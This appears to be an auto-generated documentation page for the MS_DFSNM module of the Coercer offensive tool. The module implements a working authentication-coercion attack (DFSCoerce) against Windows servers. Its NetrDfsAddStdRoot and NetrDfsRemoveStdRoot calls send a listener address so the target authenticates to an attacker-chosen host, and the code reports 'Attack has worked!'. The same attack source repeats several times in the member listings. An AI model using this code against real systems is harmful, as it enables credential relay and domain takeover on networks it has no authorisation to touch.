coercer.protocols.MS_DFSNM

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : MS_DFSNM.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 6 Jul 2022
  6
  7
  8import sys
  9import time
 10import random
 11from coercer.utils.RPCProtocol import RPCProtocol, DCERPCSessionError
 12from impacket.dcerpc.v5.ndr import NDRCALL
 13from impacket.dcerpc.v5.dtypes import WSTR, DWORD
 14
 15
 16def gen_random_name(length=8):
 17    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 18    name = ""
 19    for k in range(length):
 20        name += random.choice(alphabet)
 21    return name
 22
 23
 24class NetrDfsAddStdRoot(NDRCALL):
 25    opnum = 12
 26    structure = (
 27        ('ServerName', WSTR),  # Type: WCHAR *
 28        ('RootShare', WSTR),   # Type: WCHAR *
 29        ('Comment', WSTR),     # Type: WCHAR *
 30        ('ApiFlags', DWORD),   # Type: DWORD
 31    )
 32
 33
 34class NetrDfsAddStdRootResponse(NDRCALL):
 35    structure = ()
 36
 37
 38class NetrDfsRemoveStdRoot(NDRCALL):
 39    opnum = 13
 40    structure = (
 41        ('ServerName', WSTR),  # Type: WCHAR *
 42        ('RootShare', WSTR),   # Type: WCHAR *
 43        ('ApiFlags', DWORD)    # Type: DWORD
 44    )
 45
 46
 47class NetrDfsRemoveStdRootResponse(NDRCALL):
 48    structure = ()
 49
 50
 51class MS_DFSNM(RPCProtocol):
 52    name = "[MS-DFSNM]: Distributed File System (DFS): Namespace Management Protocol"
 53    shortname = "MS-DFSNM"
 54    uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673"
 55    version = "3.0"
 56    available_pipes = [r"\PIPE\netdfs"]
 57
 58    def NetrDfsRemoveStdRoot(self, listener, max_retries=3):
 59        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/e9da023d-554a-49bc-837a-69f22d59fd18
 60        # Finding credits: @filip_dragovic
 61        call_name, call_opnum = "NetrDfsRemoveStdRoot", 13
 62        if self.dce is not None:
 63            tries = 0
 64            while tries <= max_retries:
 65                tries += 1
 66                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
 67                sys.stdout.flush()
 68                try:
 69                    request = NetrDfsRemoveStdRoot()
 70                    request['ServerName'] = '%s\x00' % listener
 71                    request['RootShare'] = gen_random_name() + '\x00'
 72                    request['ApiFlags'] = 0
 73                    if self.debug:
 74                        request.dump()
 75                    self.dce.request(request)
 76                except Exception as e:
 77                    if "ERROR_INVALID_NAME" in str(e):
 78                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
 79                        print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...")
 80                        time.sleep(20)
 81                    elif "ERROR_BAD_NETPATH" in str(e):
 82                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
 83                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
 84                        return True
 85                    elif "rpc_s_access_denied" in str(e):
 86                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
 87                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
 88                        return False
 89                    elif self.debug:
 90                        print("            [!]", e)
 91        else:
 92            if self.verbose:
 93                print("   [!] Error: dce is None, you must call connect() first.")
 94
 95    def NetrDfsAddStdRoot(self, listener, max_retries=3):
 96        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/b18ef17a-7a9c-4e22-b1bf-6a4d07e87b2d
 97        # Finding credits: @filip_dragovic
 98        call_name, call_opnum = "NetrDfsAddStdRoot", 12
 99        if self.dce is not None:
100            tries = 0
101            while tries <= max_retries:
102                tries += 1
103                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
104                sys.stdout.flush()
105                try:
106                    request = NetrDfsAddStdRoot()
107                    request['ServerName'] = '%s\x00' % listener
108                    request['RootShare'] = gen_random_name() + '\x00'
109                    request['Comment'] = gen_random_name() + '\x00'
110                    request['ApiFlags'] = 0
111                    if self.debug:
112                        request.dump()
113                    self.dce.request(request)
114                except Exception as e:
115                    if "ERROR_INVALID_NAME" in str(e):
116                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
117                        print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...")
118                        time.sleep(20)
119                    elif "ERROR_BAD_NETPATH" in str(e):
120                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
121                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
122                        return True
123                    elif "rpc_s_access_denied" in str(e):
124                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
125                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
126                        return False
127                    elif self.debug:
128                        print("            [!]", e)
129        else:
130            if self.verbose:
131                print("   [!] Error: dce is None, you must call connect() first.")
132
133    @classmethod
134    def list_coerce_methods(cls):
135        return [
136            ("NetrDfsAddStdRoot", 12, None),
137            ("NetrDfsRemoveStdRoot", 13, None)
138        ]
139
140    def perform_coerce_calls(self, listener):
141        self.NetrDfsAddStdRoot(listener)
142        self.NetrDfsRemoveStdRoot(listener)
def gen_random_name(length=8):
17def gen_random_name(length=8):
18    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
19    name = ""
20    for k in range(length):
21        name += random.choice(alphabet)
22    return name
class NetrDfsAddStdRoot(impacket.dcerpc.v5.ndr.NDRCALL):
25class NetrDfsAddStdRoot(NDRCALL):
26    opnum = 12
27    structure = (
28        ('ServerName', WSTR),  # Type: WCHAR *
29        ('RootShare', WSTR),   # Type: WCHAR *
30        ('Comment', WSTR),     # Type: WCHAR *
31        ('ApiFlags', DWORD),   # Type: DWORD
32    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class NetrDfsAddStdRootResponse(impacket.dcerpc.v5.ndr.NDRCALL):
35class NetrDfsAddStdRootResponse(NDRCALL):
36    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class NetrDfsRemoveStdRoot(impacket.dcerpc.v5.ndr.NDRCALL):
39class NetrDfsRemoveStdRoot(NDRCALL):
40    opnum = 13
41    structure = (
42        ('ServerName', WSTR),  # Type: WCHAR *
43        ('RootShare', WSTR),   # Type: WCHAR *
44        ('ApiFlags', DWORD)    # Type: DWORD
45    )

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class NetrDfsRemoveStdRootResponse(impacket.dcerpc.v5.ndr.NDRCALL):
48class NetrDfsRemoveStdRootResponse(NDRCALL):
49    structure = ()

This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type

Inherited Members
impacket.dcerpc.v5.ndr.NDRCALL
NDRCALL
dump
getData
fromString
impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
isPointer
isUnion
getDataReferents
getDataReferent
calcPackSize
getArrayMaximumSize
getArraySize
fromStringReferents
fromStringReferent
calcUnPackSize
impacket.dcerpc.v5.ndr.NDR
changeTransferSyntax
getDataLen
isNDR
dumpRaw
getAlignment
calculatePad
pack
unpack
class MS_DFSNM(coercer.utils.RPCProtocol.RPCProtocol):
 52class MS_DFSNM(RPCProtocol):
 53    name = "[MS-DFSNM]: Distributed File System (DFS): Namespace Management Protocol"
 54    shortname = "MS-DFSNM"
 55    uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673"
 56    version = "3.0"
 57    available_pipes = [r"\PIPE\netdfs"]
 58
 59    def NetrDfsRemoveStdRoot(self, listener, max_retries=3):
 60        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/e9da023d-554a-49bc-837a-69f22d59fd18
 61        # Finding credits: @filip_dragovic
 62        call_name, call_opnum = "NetrDfsRemoveStdRoot", 13
 63        if self.dce is not None:
 64            tries = 0
 65            while tries <= max_retries:
 66                tries += 1
 67                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
 68                sys.stdout.flush()
 69                try:
 70                    request = NetrDfsRemoveStdRoot()
 71                    request['ServerName'] = '%s\x00' % listener
 72                    request['RootShare'] = gen_random_name() + '\x00'
 73                    request['ApiFlags'] = 0
 74                    if self.debug:
 75                        request.dump()
 76                    self.dce.request(request)
 77                except Exception as e:
 78                    if "ERROR_INVALID_NAME" in str(e):
 79                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
 80                        print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...")
 81                        time.sleep(20)
 82                    elif "ERROR_BAD_NETPATH" in str(e):
 83                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
 84                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
 85                        return True
 86                    elif "rpc_s_access_denied" in str(e):
 87                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
 88                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
 89                        return False
 90                    elif self.debug:
 91                        print("            [!]", e)
 92        else:
 93            if self.verbose:
 94                print("   [!] Error: dce is None, you must call connect() first.")
 95
 96    def NetrDfsAddStdRoot(self, listener, max_retries=3):
 97        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/b18ef17a-7a9c-4e22-b1bf-6a4d07e87b2d
 98        # Finding credits: @filip_dragovic
 99        call_name, call_opnum = "NetrDfsAddStdRoot", 12
100        if self.dce is not None:
101            tries = 0
102            while tries <= max_retries:
103                tries += 1
104                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
105                sys.stdout.flush()
106                try:
107                    request = NetrDfsAddStdRoot()
108                    request['ServerName'] = '%s\x00' % listener
109                    request['RootShare'] = gen_random_name() + '\x00'
110                    request['Comment'] = gen_random_name() + '\x00'
111                    request['ApiFlags'] = 0
112                    if self.debug:
113                        request.dump()
114                    self.dce.request(request)
115                except Exception as e:
116                    if "ERROR_INVALID_NAME" in str(e):
117                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
118                        print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...")
119                        time.sleep(20)
120                    elif "ERROR_BAD_NETPATH" in str(e):
121                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
122                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
123                        return True
124                    elif "rpc_s_access_denied" in str(e):
125                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
126                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
127                        return False
128                    elif self.debug:
129                        print("            [!]", e)
130        else:
131            if self.verbose:
132                print("   [!] Error: dce is None, you must call connect() first.")
133
134    @classmethod
135    def list_coerce_methods(cls):
136        return [
137            ("NetrDfsAddStdRoot", 12, None),
138            ("NetrDfsRemoveStdRoot", 13, None)
139        ]
140
141    def perform_coerce_calls(self, listener):
142        self.NetrDfsAddStdRoot(listener)
143        self.NetrDfsRemoveStdRoot(listener)

Documentation for class RPCProtocol

def NetrDfsRemoveStdRoot(self, listener, max_retries=3):
59    def NetrDfsRemoveStdRoot(self, listener, max_retries=3):
60        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/e9da023d-554a-49bc-837a-69f22d59fd18
61        # Finding credits: @filip_dragovic
62        call_name, call_opnum = "NetrDfsRemoveStdRoot", 13
63        if self.dce is not None:
64            tries = 0
65            while tries <= max_retries:
66                tries += 1
67                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
68                sys.stdout.flush()
69                try:
70                    request = NetrDfsRemoveStdRoot()
71                    request['ServerName'] = '%s\x00' % listener
72                    request['RootShare'] = gen_random_name() + '\x00'
73                    request['ApiFlags'] = 0
74                    if self.debug:
75                        request.dump()
76                    self.dce.request(request)
77                except Exception as e:
78                    if "ERROR_INVALID_NAME" in str(e):
79                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
80                        print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...")
81                        time.sleep(20)
82                    elif "ERROR_BAD_NETPATH" in str(e):
83                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
84                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
85                        return True
86                    elif "rpc_s_access_denied" in str(e):
87                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
88                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
89                        return False
90                    elif self.debug:
91                        print("            [!]", e)
92        else:
93            if self.verbose:
94                print("   [!] Error: dce is None, you must call connect() first.")
def NetrDfsAddStdRoot(self, listener, max_retries=3):
 96    def NetrDfsAddStdRoot(self, listener, max_retries=3):
 97        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/b18ef17a-7a9c-4e22-b1bf-6a4d07e87b2d
 98        # Finding credits: @filip_dragovic
 99        call_name, call_opnum = "NetrDfsAddStdRoot", 12
100        if self.dce is not None:
101            tries = 0
102            while tries <= max_retries:
103                tries += 1
104                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
105                sys.stdout.flush()
106                try:
107                    request = NetrDfsAddStdRoot()
108                    request['ServerName'] = '%s\x00' % listener
109                    request['RootShare'] = gen_random_name() + '\x00'
110                    request['Comment'] = gen_random_name() + '\x00'
111                    request['ApiFlags'] = 0
112                    if self.debug:
113                        request.dump()
114                    self.dce.request(request)
115                except Exception as e:
116                    if "ERROR_INVALID_NAME" in str(e):
117                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
118                        print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...")
119                        time.sleep(20)
120                    elif "ERROR_BAD_NETPATH" in str(e):
121                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
122                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
123                        return True
124                    elif "rpc_s_access_denied" in str(e):
125                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
126                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
127                        return False
128                    elif self.debug:
129                        print("            [!]", e)
130        else:
131            if self.verbose:
132                print("   [!] Error: dce is None, you must call connect() first.")
@classmethod
def list_coerce_methods(cls):
134    @classmethod
135    def list_coerce_methods(cls):
136        return [
137            ("NetrDfsAddStdRoot", 12, None),
138            ("NetrDfsRemoveStdRoot", 13, None)
139        ]
def perform_coerce_calls(self, listener):
141    def perform_coerce_calls(self, listener):
142        self.NetrDfsAddStdRoot(listener)
143        self.NetrDfsRemoveStdRoot(listener)